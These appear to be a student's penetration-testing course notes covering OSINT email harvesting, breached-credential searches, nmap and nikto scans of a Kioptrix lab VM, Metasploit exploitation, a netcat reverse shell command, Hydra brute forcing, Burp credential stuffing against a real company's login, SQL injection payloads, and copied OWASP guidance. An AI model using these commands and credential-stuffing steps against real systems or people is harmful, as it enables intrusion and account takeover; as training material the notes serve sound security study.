Passive
Reconnaissance Overview

Web/Host

Target Validation

WHOIS

Nslookup

Dnsrecon

Finding Subdomains

Google Fu

Dig

Nmap

Sublist3r

Bluto

Crt.sh

Fingerprinting

Nmap

Wappalyzer

WhatWeb

BuiltWith

Netcat

Data Breaches

HaveIBeenPwned

Breach-Parse

WeLeakInfo

Physical/Social -

Location Information:

Satellite Images

Drone Recon

Building Layout

Badge readers

Break areas

Security

Fencing

Job Information:

Employees

Name

Job title

Phone #

Manager

Pictures

Badge photos

Desk photos

Computer photos

Identifying
Our Target

Website:
bugcrowd.com

Place where companies invite
hackers to test their security.

Tesla for this lab

Check what is "in
scope" v. "out of scope"

Discovering
Email Addresses

Website #1:

https://hunter.io/

Type company name

It will show the email and
the sources that identify it

It will show the most common
pattern for the email

Can sign up with Gmail
account to see full emails and titles

Website #2:

https://phonebook.cz/

Type URL or Domain

Search "email
addresses"

Find a lot of emails - no
sign-up needed

Utilize the list for
credential stuffing

Website #3:

https://www.voilanorbert.com

Same as hunter.io

Website #4:

Clearbit Connect (Google
Chrome Add-On)

Select "Find
Emails"

Enter a company domain

Provides
comprehensive/better results than others -- you can search by role or
department

Provides LinkedIn page,
location, and website

Website #5:

https://tools.verifyemailaddress.io

Verify email addresses
discovered to verify that they are valid without interacting with the
person/company you are verifying.

Website #6:

https://email-checker.net/validate

Same as the resource above

Tips:

Do not underestimate
"Forgot My Password" screens.

Can validate accounts

Use it to tie to another
account to verify identity.

Gathering
Breached Credentials with Breach-Parse

Download: https://github.com/hmaverickadams/breach-parse

Emails and Passwords in the
dictionary file

Tool searches through the
data and pulls down names

./breach-parse.sh @tesla.com
tesla.txt (example)

Breaks down results into
three files:

Master

Passwords

Users

Looking for "repeat
offenders"

Use this to spray
usernames/passwords for credential stuffing

Use the Usernames and spray
all known passwords to them

Hunting
Breached Credentials with DeHashed

Website: https://dehashed.com

Weekly, Monthly, and Yearly
Payment

Search by:

Email

Username

IP

Name

Address

Phone

VIN

Domain Scan

Collect all data (usernames
& passwords)

Search for patterns

Try to relate back to
personal email accounts

Hunt down individual to
other accounts

Website: https://hashes.org

Search Hashes

Paste Hash and see if it can
crack the hash

Do not reply on one
specific tools, instead, use the methodology and different tools as needed.

Hunting
Subdomains

Often tasked with web
penetration test so it's vital to gather information and perform
enumeration.

Identify subdomains

*.tesla.com (everything is
open to us in the .tesla.com range - including subdomains)

Tool #1: Sublist3r

Install:

Apt install sublist3r

Syntax:

Sublist3r -d tesla.com -t
100 (example)

Ignore errors

Looks through search
engines to find subdomains

-t to specify threads to
speed up the process

Results:

Provides a list of unique
subdomains

Identify the types of
tools being used

Look for SSO… Dev… API…
VPN… Mail

Tool #2: https://crt.sh

%.tesla.com (% = wildcard)

Using certificate
fingerprinting to find subdomains

Looking for SSO… Dev… API…
VPN… Mail

Tool #3: OWASP Amass

Github.com/OWASP/Amass

Can take a long time to run
- but provides great results

Identifying
Website Technologies

Use these tools to
gather information on the website (especially versions). Use this information
as research to find exploits to use against the website or company. Using more
tools to our advantage provides more complete information.

Tool #1: https://builtwith.com

Search for the website

Looks at the underlying
technology behind the website

Widgets

Languages

Frameworks

Content Management Systems

Tool #2: Wappalyzer

Add-on to Firefox

Provides a simplified version
of everything in builtwith

More of an active search
since you interact with the website

Tool #3: whatweb
(built into Kali)

Syntax:

Whatweb https://tesla.com (example)

Provide some information -
not as "pretty" as other tools but provides good information
& version numbers

Information
Gathering with Burp Suite

Tool: Burpsuite

Included with Kali Linux in
"Favorites"

Web Proxy - intercepts
traffic for us

Steps:

Temporary Project

Start Burp

Open Firefox

Open Menu

Preferences

Network Proxy Settings

Manual Proxy configuration

127.0.0.1

Port: 8080

Use this proxy for all
protocols checkbox

New Tab

https://burp

May need to accept/allow
certificate

Permanently store the
exception

Click CA Certificate

Save the file

Back to Preferences

Privacy & Security

View Certificates (bottom)

Import & select the
cert to open

Check both boxes and
select "OK"

Open Burpsuite after going
to website:

Click "Proxy" tab
to intercept web requests

You can modify the traffic
as you intercept it

Target Tab

All the pages that have
loaded

Click the domain and the /
to go through the responses

Get information from the
"Response" to see versions and other info - such as servers

Google Fu

Vital to be good at using
Google! Always use Google before asking questions. This will make or
break you in your career.

Google Search Syntax

Site:tesla.com

Only show items from
tesla.com and subdomains

Site:tesla.com -www

Subtract the www from the
search

Site:tesla.com -www -ir

Remove both www and ir

Site:tesla.com
filetype:docx

Search for specific file
types

Utilizing
Social Media

Do not need to follow along
- consider methodology of getting info from social media:

Employee info from images

Badge photos

Desk pictures

Find specific employees

LinkedIn -> People Tab
of the specific company

Use the email format and
use the names to generate email addresses

Could use a scraper
written in Python to automate this

Scanning
with nmap

IP: 10.0.2.10

Vulnerable Machine = Kioptrix
level 1

Found the IP by doing a Ping
from the vulnerable machine and looking at the source of the ping.

Nmap - stealth
scanning

Does SYN SYNACK RST

Does not actually establish
a connection

Nmap -T4 -p- -A

-T4:

Choice of speed is between
1 & 5 -- default is often 4

Slower the better in terms
of connection

-p-:

I want to scan all ports

If you leave off -p
completely, it will scan top 1,000 ports

-p 443 (scan just port 443)

-A:

Stands for everything (all
of it) - version, OS, etc.

Tips/Help

Host Discovery -

-Sn

Ping scan

-Pn

Treat all hosts as online

-sS

Stealth scan (SYN SYNACK
RST)

-sU

UDP Scan

-sV

Probe open ports for
service info

-sC

Script scanning

-O

OS Detection

TCP Scan Results:

22/tcp    open
ssh         OpenSSH 2.9p2
(protocol 1.99)

80/tcp    open
http        Apache httpd 1.3.20
((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)

111/tcp   open
rpcbind     2 (RPC #100000)

139/tcp   open
netbios-ssn Samba smbd (workgroup: KMYGROUP)

443/tcp   open
ssl/https

32768/tcp open  status
1 (RPC #100024)

UDP Scan Results:

111/udp   open|filtered rpcbind

113/udp   open|filtered auth

137/udp   open|filtered netbios-ns

138/udp   open|filtered netbios-dgm

1029/udp  open|filtered solid-mux

1457/udp  open|filtered valisys-lm

3457/udp  open|filtered vat-control

4444/udp  open|filtered krb524

16829/udp
open|filtered unknown

17332/udp
open|filtered unknown

17939/udp
open|filtered unknown

18605/udp
open|filtered unknown

18617/udp
open|filtered unknown

19161/udp
open|filtered unknown

19625/udp
open|filtered unknown

22692/udp
open|filtered unknown

27195/udp
open|filtered unknown

32768/udp
open|filtered omad

33866/udp
open|filtered unknown

36669/udp
open|filtered unknown

39714/udp
open|filtered unknown

47915/udp
open|filtered unknown

49207/udp
open|filtered unknown

52503/udp
open|filtered unknown

54281/udp
open|filtered unknown

MAC Address:
08:00:27:39:D0:78 (Oracle VirtualBox virtual NIC)

Enumerating
HTTP and HTTPS

└─$ nikto -h http://10.0.2.10

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP:          10.0.2.10

+ Target
Hostname:    10.0.2.10

+ Target
Port:        80

+ Start Time:         2021-10-06 11:32:09 (GMT-4)

---------------------------------------------------------------------------

+ Server:
Apache/1.3.20 (Unix)  (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6b

+ Server may leak
inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime:
Wed Sep  5 23:12:46 2001

+ The
anti-clickjacking X-Frame-Options header is not present.

+ The
X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS

+ The
X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type

+ OSVDB-27487:
Apache is vulnerable to XSS via the Expect header

+ OpenSSL/0.9.6b
appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and
0.9.8zc are also current.

+ mod_ssl/2.8.4
appears to be outdated (current is at least 2.8.31) (may depend on server
version)

+ Apache/1.3.20
appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is
the EOL for the 2.x branch.

+ Allowed HTTP
Methods: GET, HEAD, OPTIONS, TRACE

+ OSVDB-877: HTTP
TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-838:
Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and
possible code execution. CAN-2002-0392.

+ OSVDB-4552:
Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer
overflow which allows attackers to kill any process on the system.
CAN-2002-0839.

+ OSVDB-2733:
Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in
mod_rewrite and mod_cgi. CAN-2003-0542.

+ mod_ssl/2.8.4 -
mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may
allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082,
OSVDB-756.

+ ///etc/hosts:
The server install allows reading of any system file by adding an extra '/'
to the URL.

+ OSVDB-682:
/usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable
to Cross Site Scripting (XSS).

+ OSVDB-3268:
/manual/: Directory indexing found.

+ OSVDB-3092:
/manual/: Web server manual found.

+ OSVDB-3268:
/icons/: Directory indexing found.

+ OSVDB-3233:
/icons/README: Apache default file found.

+ OSVDB-3092:
/test.php: This might be interesting...

+
/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts:
A PHP backdoor file manager was found.

+
/wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts:
A PHP backdoor file manager was found.

+
/wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP
backdoor file manager was found.

+
/wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A
PHP backdoor file manager was found.

+
/wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP
backdoor file manager was found.

+
/wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts:
A PHP backdoor file manager was found.

+
/assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was
found.

+
/login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command
execution.

+
/shell?cat+/etc/hosts: A backdoor was identified.

+ 8698 requests: 0
error(s) and 30 item(s) reported on remote host

+ End Time:           2021-10-06 11:32:48 (GMT-4) (39
seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

IP: 10.0.2.10

SMB (139) and HTTP/S (80,
443) have been notoriously bad

Not common to attack SSH

Step 1: Go to the
website (http & https)

Default Webpage

Automatic finding because
it tells us about the architecture running behind the scenes.

Apache

Red Hat Linux

Clicking on a broken link

Discovered this
information -- Apache/1.3.20 Server at 127.0.0.1 Port 80

Step 2: Use Nikto
for Vulnerability Scanning

Good tool when learning
beginning concepts

Issue is if a website is
running good security you will run into issues or get auto-blocked.

Nikto -h http://10.0.2.10 (syntax)

The outdated versions and
exploits are findings that would be noted on a report

Does some basic directory
enumeration

Be sure to save the output

+ mod_ssl/2.8.4
appears to be outdated (current is at least 2.8.31) (may depend on server
version)

Step 3: Use
dirbuster for directory enumeration

Dirbuster& (syntax)

Loads up interface

Select "Go
Faster" on "Number of Threads"

Select a word list (File
with list of dirs/files)

/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/usage/

Webalizer Version 2.01

Goal is to dig through the
results and see if you can find anything of interest

Step 4: Open
Burpsuite (while dirbuster is scanning)

Information Disclosure -
server headers disclose version information:

HTTP/1.1
304 Not Modified

Date:
Wed, 06 Oct 2021 16:03:15 GMT

Server:
Apache/1.3.20 (Unix)  (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6b

Connection:
close

ETag:
"8805-b4a-3b96e9ae"

Enumerating
SMB

IP: 10.0.2.10

SMB:

File sharing protocol

Example: Accessing a share at
work to download and upload files

Commonly used in work
environments and internal environments

Type of SMB version running
is what can lead to an exploit

Nmap Scan Results:

139/tcp   open
netbios-ssn Samba smbd (workgroup: KMYGROUP)

SMB2 (version 2?)

Step 1: Use
Metasploit to find SMB version

Msfconsole (open Metasploit)

Auxiliary modules =
enumeration -- you can see the "type" in front of the exploit
if you "search" for them. Second part is the type (scanning,
fuzzing, etc.)

Search <keyword>

Use <exploit #>

Options

Show items to set

RHOSTS = victim

What we found: Unix (Samba
2.2.1a)

Step 2: Use
smbclient to try to connect to the file share

Smbclient -L \\\\10.0.2.10\\

-L = list out all files

This attempts to connect
with the "anonymous" account

This will allow you to see
other "Sharenames"

Use another sharename to try
and connect

smbclient \\\\10.0.2.10\\ADMIN$

Enumerating
SSH

IP: 10.0.2.10

Nmap results on SSH:

22/tcp    open
ssh     OpenSSH 2.9p2 (protocol
1.99)

Step 1: Attempt to
connect to SSH

Ssh 10.0.2.10

Because this box is old, you
need to use the following command:

ssh 10.0.2.10
-oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

Why attempt?

Sometimes a banner is
exposed that provides information on the underlying ssh connection

Researching
Potential Vulnerabilities

IP: 10.0.2.10

You take the information
you have already found and combine them in one document so you have a
list of all the vulnerabilities to research.

Order of Attack:

Port 80 (HTTP)

Port 443 (HTTPS)

Port 139 (SMB)

Research the exploit and
try it out (look for critical/red). Can use Google or Searchsploit

80/443

Potentially Vulnerable to
OpenLuck (GitHub)

139

Potentially Vulnerable to
Samba trans2open Overflow

https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/

Webalizer 2.01

Potentially Vulnerable to
Buffer Overflow (CVE-2002-0180)

https://www.cvedetails.com/cve/CVE-2002-0180/

Vulnerabilities:

22/tcp    open
ssh         OpenSSH 2.9p2
(protocol 1.99)

80/tcp    open
http        Apache httpd
1.3.20 ((Unix)  (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6b)

Apache/1.3.20 Server at
127.0.0.1 Port 80

Default landing page

mod_ssl/2.8.4 appears to be
outdated (current is at least 2.8.31) (may depend on server version)

Information Disclosure -
server headers disclose version information:

HTTP/1.1
304 Not Modified

Date:
Wed, 06 Oct 2021 16:03:15 GMT

Server:
Apache/1.3.20 (Unix)  (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6b

Connection:
close

ETag:
"8805-b4a-3b96e9ae"

139/tcp   open
netbios-ssn Samba smbd (workgroup: KMYGROUP)

ADMIN$ Share Name

Unix (Samba 2.2.1a)

Webalizer Version 2.01

Scanning
with Nessus

IP: 10.0.2.10

Nessus:

Vulnerability scanner -- used
frequently as an ethical hacker for an external assessment

How to install & start -

Download Debian/64 package
from Nessus website

Terminal command: sudo dpkg
-i Nessus-8.15.2-ubuntu1110_amd64.deb

You can start Nessus Scanner
by typing /bin/systemctl start nessusd.service

Then go to https://kali:8834/ to configure your scanner

Start a Scan:

Select "New Scan"

Select "Basic Network
Scan" or whichever one you want

Fill out the info &
click "Launch" icon.

In a true penetration test,
you would write up many of these vulnerabilities

NSLookup and
DIG

Friday,
December 3, 2021

1:24
PM

Find the IP address of a domain name
using nslookup, which stands for Name Server
Look Up. You need to issue the command nslookup
DOMAIN_NAME, for example, nslookup tryhackme.com.
Or, more generally, you can use nslookup OPTIONS DOMAIN_NAME
SERVER. These three main parameters are:

OPTIONS
contains the query type as shown in the table below. For instance, you can
use A for IPv4 addresses
and AAAA for IPv6 addresses.

DOMAIN_NAME
is the domain name you are looking up.

SERVER
is the DNS server that you want to query. You can choose any
local or public DNS server to query. Cloudflare offers 1.1.1.1 and 1.0.0.1, Google offers 8.8.8.8 and 8.8.4.4, and Quad9 offers 9.9.9.9 and 149.112.112.112. There are many more public DNS servers that
you can choose from if you want alternatives to your
ISP’s DNS servers.

Query type

Result

A

IPv4 Addresses

AAAA

IPv6 Addresses

CNAME

Canonical Name

MX

Mail Servers

SOA

Start of Authority

TXT

TXT Records

For instance, nslookup
-type=A tryhackme.com 1.1.1.1 (or nslookup
-type=a tryhackme.com 1.1.1.1 as it is case-insensitive) can be
used to return all the IPv4 addresses used by tryhackme.com.

Terminal

user@TryHackMe$nslookup-type=A tryhackme.com
1.1.1.1Server:                1.1.1.1

Address:        1.1.1.1#53

Non-authoritative
answer:

Name:        tryhackme.com

Address:
172.67.69.208

Name:        tryhackme.com

Address: 104.26.11.229

Name:        tryhackme.com

Address: 104.26.10.229

The A and AAAA records are used to return IPv4 and
IPv6 addresses, respectively. This lookup is helpful to know from a penetration
testing perspective. In the example above, we started with one domain name, and
we obtained three IPv4 addresses. Each of these IP addresses can be further
checked for insecurities, assuming they lie within the scope of the penetration
test.

Let’s say you want to learn about the email
servers and configurations for a particular domain. You can issue nslookup
-type=MX tryhackme.com. Here is an example:

Terminal

user@TryHackMe$nslookup-type=MX
tryhackme.comServer:                127.0.0.53

Address:        127.0.0.53#53

Non-authoritative
answer:

tryhackme.com        mail exchanger = 5
alt1.aspmx.l.google.com.

tryhackme.com        mail exchanger = 1
aspmx.l.google.com.

tryhackme.com        mail exchanger =
10
alt4.aspmx.l.google.com.

tryhackme.com        mail exchanger =
10 alt3.aspmx.l.google.com.

tryhackme.com        mail exchanger = 5
alt2.aspmx.l.google.com.

We can see that tryhackme.com’s current email
configuration uses Google. Since MX is looking up the Mail Exchange servers, we
notice that when a mail server tries to deliver email @tryhackme.com, it
will try to connect to the aspmx.l.google.com,
which has order 1. If it is busy or unavailable, the mail server will attempt
to connect to the next in order mail exchange servers, alt1.aspmx.l.google.com or alt2.aspmx.l.google.com.

Google provides the listed mail servers; therefore, we
should not expect the mail servers to be running a vulnerable server version.
However, in other cases, we might find mail servers that are not adequately
secured or patched.

Such pieces of information might prove valuable
as you continue the passive reconnaissance of your target. You can repeat
similar queries for other domain names and try different types, such as -type=txt.
Who knows what kind of information you might discover along your way!

For more advanced DNS queries and
additional functionality, you can use dig,
the acronym for “Domain Information Groper,” if you are curious. Let’s
use dig to look up the MX
records and compare them to nslookup. We
can use dig DOMAIN_NAME, but to specify the
record type, we would use dig DOMAIN_NAME TYPE.
Optionally, we can select the server we want to query using dig
@SERVER DOMAIN_NAME TYPE.

SERVER is
the DNS server that you want to query.

DOMAIN_NAME
is the domain name you are looking up.

TYPE contains
the DNS record type, as shown in the table provided earlier.

Terminal

user@TryHackMe$digtryhackme.com MX; <<>> DiG 9.16.19-RH
<<>> tryhackme.com MX

;; global options: +cmd

;; Got answer:

;; ->>HEADER<

A quick comparison between the output of nslookup and dig shows
that dig returned more
information, such as the TTL (Time To Live) by default. If you want to query
a 1.1.1.1 DNS server, you can
execute dig @1.1.1.1 tryhackme.com MX.

Using the AttackBox, open the terminal and use
the nslookup or dig command
to get the information you need to answer the following question.

From
<https://www.tryhackme.com/room/passiverecon>

Reverse
Shells vs. Bind Shells

Shell is access to a machine

Reverse Shell means that a
victim connects to our attack machine

Nc -lvp 444

Nc: Net Cat

-lvp: listening verbose
(on) port

4444: port listening on

Nc 192.168.1.1 4444 -e
/bin/sh

Nc: Net Cat

192.168.1.1: The attacking
machine's ip address

4444: The attacking
machine's port

-e: establish connection

/bin/sh: what is being
executed by the -e switch

Using reverse shells 95% of
the time

Bind shell is opening a port
on the target machine and then we connect to it with our attacking
machine.

Syntax is the same

Often used in an external
assessment or when a reverse shell doesn't work

Staged Vs.
Non-Staged Payloads

Payload is what we run as an
exploit

Different types depending on
what system we are attacking (Windows… Linux… Python…) - Over 500 types
of payloads

What we send to the victim
to attempt to get a shell on the machine

Difference in syntax is the
/ vs. _ in the name (see above example)

Gaining Root
with Metasploit

IP: 10.0.2.10

Attacking SMB

Samba 2.1a

Trans2open Remote Buffer
Overflow

Step 1: Open
Metasploit

Msfconsole

Step 2: Find the
exploit

Search trans2open

Select correct OS

Linux in this example

Use <module #>

Step 3: Get Exploit
Ready

Show options (set
appropriately)

Show targets

Often have to pick from
different targets

Step 4: Run the
exploit

Type run or exploit

Step 5: Troubleshoot
if exploit fails

Show options

You should see "Payload
options" in the middle

Set payload

Hit tab… and then double tab

Select a non-staged one if
staged is not working

This example I selected set
payload linux/x86/shell_reverse_tcp

Show options to verify
everything is set

Run the exploit again

Step 6: Verify
shell!

Whoami… hostname… etc.

Manual
Exploitation

IP: 10.0.2.10

Open F(L)uck Exploit

Follow instructions in
ReadMe to install/compile the exploit

Run the command first and
then follow the instructions - user enumeration from before to identify
the correct OS & version.

Run the exploit - become
shell!

Verify with:

Whoami

Hostname

Post-exploitation

Find IP Address to see if
machine is dual homed for pivoting:

Ipconfig

Ip a

Arp

Route

Find privileges you can use:

Sudo -l

Go through folders:

Cat /etc/passwd

Only hold a placeholder
for password files

Can find the users on the
computer - start at the 500 to see where users start

Cat /etc/shadow

Find password hashes

Finds (/etc/shadow)

john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::

harold:$1$Xx6dZdO$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::

Brute Force
Attacks

IP: 10.0.2.10

Hydra

Brute force tool

Syntax:

Hydra -l root -P
/usr/share/wordlists/metasploit/<double tab for wordlists>
ssh://10.0.2.10:22 -t 4 -V

-l

(user to attack)

-P

(wordlist to use)

Ssh

(specifies what we are
attacking - followed by IP address and port)

-t

(number of
attempts/threads)

-V

(verbosity)

Metasploit (same thing in
metasploit)

Search ssh

Look for auxiliary model

Login check scanner

Set options (see Metasploit
note for details)

Credential
Stuffing + Password Spraying

IP: 10.0.2.10

Compromised Server

Leaks from LinkedIn, etc. to
get stolen credentials

Use those credentials to
pass to another site to login

Credential Stuffing

Taking those leaked
credentials and spraying them at a website

Step 1: Open Firefox
& go to target website (tesla.com)

Find a "Sign-In"
area

Step 2: Turn on
intercept (Burp Suite)

Put in fake email &
password and attempt to sign in

Step 3: Open
Burpsuite's Intercept

Verify that it received the
connection/attempt

Right click - send to
Intruder

Step 4: Open
Intruder

Click "Positions"

Clear

Highlight the
"email" and "password"

Select Add

Choose Attack Type

Use pitchfork in this
example

Select "Payloads"

Copy and paste list into
"Payload Options"

Payload Set 1 (Usernames)

Payload Set 2 (Passwords)

Click "Start
Attack"

Looking for status code
change

Looking for significant
change of length

Looking at response wording

SQL
Injection

Monday,
January 31, 2022

11:34
AM

Overview

Walkthrough

Go to Account
Login page

Type in sample
username and password

Send to repeater

See what
standard error message is

Try to add a ' to
the username and see what happens

Try to grab
information from the error (i.e. SQLITE_ERROR = database type)

Edit payload
accordingly

Input: test' OR
1=1; --

SQL: SELECT * FROM Users
WHERE email='test' OR 1=1; --';

This statement
will allow us to log in as the admin user because ID # 1 is usually the
admin user

Password field doesn't
matter

Above is classic
SQL Injection but there is also Blind SQL Injion

Blind SQL Injection:

Input: test' (sleep
5)

Website won't respond for 5
seconds

This is how you determine
blind SQL injection -- if you can get the website to stop responding with
sleep

Defenses

Defense 1:
Parameterized Statements

Ensure inputs (parameters)
are used safely in SQL statements

Example: "SELECT * FROM
users WHERE email=?";

Example: "SELECT * FROM
users WHERE email ='" + email + "'";

Defense 2:
Sanitizing Input

Broken
Authentication

Thursday,
February 17, 2022

1:32
PM

URL:

https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication

Overview

Is
the Application Vulnerable?

Confirmation
of the user’s identity, authentication, and session management are critical
to protect against authentication-related attacks. There may be
authentication weaknesses if the application:

* Permits automated attacks such as credential
stuffing, where the attacker has a list of
valid usernames and passwords.

*
Permits brute force or other automated attacks.

*
Permits default, weak, or well-known passwords, such as “Password1” or
“admin/admin“.

* Uses
weak or ineffective credential recovery and forgot-password processes, such
as “knowledge-based answers”, which cannot be made safe.

* Uses plain text, encrypted, or weakly hashed passwords
(see A3:2017-Sensitive
Data Exposure).

* Has
missing or ineffective multi-factor authentication.

*
Exposes Session IDs in the URL (e.g., URL rewriting).

* Does
not rotate Session IDs after successful login.

* Does
not properly invalidate Session IDs. User sessions or authentication tokens
(particularly single sign-on (SSO) tokens) aren’t properly invalidated during
logout or a period of inactivity.

How to Prevent

* Where
possible, implement multi-factor authentication to prevent automated,
credential stuffing, brute force, and stolen credential re-use attacks.

* Do
not ship or deploy with any default credentials, particularly for admin
users.

* Implement weak-password checks, such as testing new or
changed passwords against a list of the top
10000 worst passwords.

* Align password length, complexity and rotation policies
with NIST 800-63
B’s guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies.

*
Ensure registration, credential recovery, and API pathways are hardened
against account enumeration attacks by using the same messages for all
outcomes.

* Limit
or increasingly delay failed login attempts. Log all failures and alert
administrators when credential stuffing, brute force, or other attacks are
detected.

* Use a
server-side, secure, built-in session manager that generates a new random
session ID with high entropy after login. Session IDs should not be in the
URL, be securely stored and invalidated after logout, idle, and absolute
timeouts.

Example Attack Scenarios

Scenario #1: Credential
stuffing, the use of lists of known passwords, is a common attack. If an application does not
implement automated threat or credential stuffing protections, the
application can be used as a password oracle to determine if the credentials
are valid.

Scenario #2: Most authentication attacks
occur due to the continued use of passwords as a sole factor. Once considered
best practices, password rotation and complexity requirements are viewed as
encouraging users to use, and reuse, weak passwords. Organizations are
recommended to stop these practices per NIST 800-63 and use multi-factor
authentication.

Scenario #3: Application session timeouts
aren’t set properly. A user uses a public computer to access an application.
Instead of selecting “logout” the user simply closes the browser tab and
walks away. An attacker uses the same browser an hour later, and the user is
still authenticated.

References

OWASP

* OWASP
Proactive Controls: Implement Digital Identity

* OWASP
Application Security Verification Standard: V2 Authentication

* OWASP
Application Security Verification Standard: V3 Session Management

* OWASP
Testing Guide: Identity, Authentication

* OWASP
Cheat Sheet: Authentication

* OWASP
Cheat Sheet: Credential Stuffing

* OWASP
Cheat Sheet: Forgot Password

* OWASP
Cheat Sheet: Session Management

* OWASP
Automated Threats Handbook

External

* NIST 800-63b:
5.1.1 Memorized Secrets

* CWE-287: Improper
Authentication

* CWE-384: Session
Fixation

Testing

Check for username
enumeration with the log in page

Try to log in with any
credential to see what error we get. See if the application will tell us
if the username is correct or not.

Check for username
enumeration with the "I forgot my password" link

In this example, you can't
click the "Security Question" field because the username doesn't
exist. This could be used to enumerate if an account is active or not --
low level finding.

Check for session fixation

Create an account

Intercept with Burpsuite

Send this to Repeater

Turn off Burpsuite

Log in as account you created

Turn Burpsuite back and
intercept

Send this to Repeater

Log off and see if the
token/cookie remains -- if not, there is no session fixation

Sensitive
Data Exposure

Thursday,
February 17, 2022

1:55
PM

Overview:

Rather than
directly attacking crypto, attackers steal keys, execute man-in-the-middle
attacks, or steal clear text data off the server, while in transit, or from
the user’s client, e.g. browser. A manual attack is generally required.
Previously retrieved password databases could be brute forced by Graphics
Processing Units (GPUs).

Over the last few
years, this has been the most common impactful attack. The most common flaw
is simply not encrypting sensitive data. When crypto is employed, weak key
generation and management, and weak algorithm, protocol and cipher usage is
common, particularly for weak password hashing storage techniques. For data
in transit, server-side weaknesses are mainly easy to detect, but hard for
data at rest.

Failure frequently
compromises all data that should have been protected. Typically, this
information includes sensitive personal information (PII) data such as health
records, credentials, personal data, and credit cards, which often require
protection as defined by laws or regulations such as the EU GDPR or local
privacy laws.

Is the Application Vulnerable?

The
first thing is to determine the protection needs of data in transit and at
rest. For example, passwords, credit card numbers, health records, personal
information and business secrets require extra protection, particularly if
that data falls under privacy laws, e.g. EU’s General Data Protection
Regulation (GDPR), or regulations, e.g. financial data protection such as PCI
Data Security Standard (PCI DSS). For all such data:

* Is
any data transmitted in clear text? This concerns protocols such as HTTP,
SMTP, and FTP. External internet traffic is especially dangerous. Verify all
internal traffic e.g. between load balancers, web servers, or back-end
systems.

* Are
any old or weak cryptographic algorithms used either by default or in older
code?

* Are
default crypto keys in use, weak crypto keys generated or re-used, or is
proper key management or rotation missing?

* Is
encryption not enforced, e.g. are any user agent (browser) security
directives or headers missing?

* Does
the user agent (e.g. app, mail client) not verify if the received server
certificate is valid?

See ASVS
Crypto (V7), Data Protection (V9), and SSL/TLS (V10)

How to Prevent

Do the
following, at a minimum, and consult the references:

*
Classify data processed, stored or transmitted by an application. Identify
which data is sensitive according to privacy laws, regulatory requirements,
or business needs.

* Apply
controls as per the classification.

* Don’t
store sensitive data unnecessarily. Discard it as soon as possible or use PCI
DSS compliant tokenization or even truncation. Data that is not retained
cannot be stolen.

* Make
sure to encrypt all sensitive data at rest.

*
Ensure up-to-date and strong standard algorithms, protocols, and keys are in
place; use proper key management.

* Encrypt all data in transit with secure protocols such
as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by
the server, and secure parameters. Enforce encryption using directives like
HTTP Strict Transport Security (HSTS).

*
Disable caching for response that contain sensitive data.

* Store passwords using strong adaptive and salted
hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt or PBKDF2.

*
Verify independently the effectiveness of configuration and settings.

Example Attack Scenarios

Scenario #1: An application encrypts credit
card numbers in a database using automatic database encryption. However, this
data is automatically decrypted when retrieved, allowing a SQL injection flaw
to retrieve credit card numbers in clear text.

Scenario #2: A site doesn’t use or enforce
TLS for all pages or supports weak encryption. An attacker monitors network
traffic (e.g. at an insecure wireless network), downgrades connections from
HTTPS to HTTP, intercepts requests, and steals the user’s session cookie. The
attacker then replays this cookie and hijacks the user’s (authenticated)
session, accessing or modifying the user’s private data. Instead of the above
they could alter all transported data, e.g. the recipient of a money
transfer.

Scenario #3: The password database uses
unsalted or simple hashes to store everyone’s passwords. A file upload flaw
allows an attacker to retrieve the password database. All the unsalted hashes
can be exposed with a rainbow table of pre-calculated hashes. Hashes generated
by simple or fast hash functions may be cracked by GPUs, even if they were
salted.

References

OWASP

* OWASP
Proactive Controls: Protect Data Everywhere

* OWASP
Application Security Verification Standard (V7, 9, 10)

* OWASP
Cheat Sheet: Transport Layer Protection

* OWASP
Cheat Sheet: User Privacy Protection

* OWASP
Cheat Sheet: Password and Cryptographic Storage

* OWASP
Cheat Sheet: HSTS

* OWASP
Testing Guide: Testing for weak cryptography

External

* CWE-202: Exposure of
sens. information through data queries

* CWE-310: Cryptographic
Issues

* CWE-311: Missing
Encryption

* CWE-312: Cleartext
Storage of Sensitive Information

* CWE-319: Cleartext
Transmission of Sensitive Information

* CWE-326: Weak
Encryption

* CWE-327: Broken/Risky
Crypto

* CWE-359: Exposure of
